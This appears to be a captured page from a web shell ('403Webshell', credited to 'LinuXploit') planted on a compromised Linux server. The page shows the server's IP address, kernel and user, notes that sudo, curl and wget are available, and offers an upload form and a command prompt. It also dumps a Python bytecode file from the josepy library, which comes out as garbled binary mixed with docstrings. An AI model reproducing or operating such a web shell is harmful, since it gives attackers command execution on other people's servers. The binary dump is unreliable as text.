403Webshell
Server IP : 35.236.43.222  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User : deploy ( 1002)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/josepy/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/josepy/__pycache__/b64.cpython-39.pyc
a

��]��@s(dZddlZddlZdd�Zdd�ZdS)a`JOSE Base64`_ is defined as:

  - URL-safe Base64
  - padding stripped

.. _`JOSE Base64`:
    https://tools.ietf.org/html/draft-ietf-jose-json-web-signature-37#appendix-C

.. Do NOT try to call this module "base64", as it will "shadow" the
   standard library.

�NcCs,t|tj�std�tj���t�|��d�S)z�JOSE Base64 encode.

    :param data: Data to be encoded.
    :type data: bytes

    :returns: JOSE Base64 string.
    :rtype: bytes

    :raises TypeError: if ``data`` is of incorrect type

    zargument should be {0}�=)�
isinstance�six�binary_type�	TypeError�format�base64Zurlsafe_b64encode�rstrip��data�r�,/usr/lib/python3/dist-packages/josepy/b64.py�	b64encodesrcCsjt|tj�r8z|�d�}WqLty4td��YqL0nt|tj�sLtd��t�	|ddt
|�d�S)a^JOSE Base64 decode.

    :param data: Base64 string to be decoded. If it's unicode, then
                 only ASCII characters are allowed.
    :type data: bytes or unicode

    :returns: Decoded data.
    :rtype: bytes

    :raises TypeError: if input is of incorrect type
    :raises ValueError: if input is unicode with non-ASCII characters

    �asciiz5unicode argument should contain only ASCII charactersz#argument should be a str or unicoder�)rrZstring_types�encode�UnicodeEncodeError�
ValueErrorrrrZurlsafe_b64decode�lenr
rrr
�	b64decode#s�r)�__doc__rrrrrrrr
�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit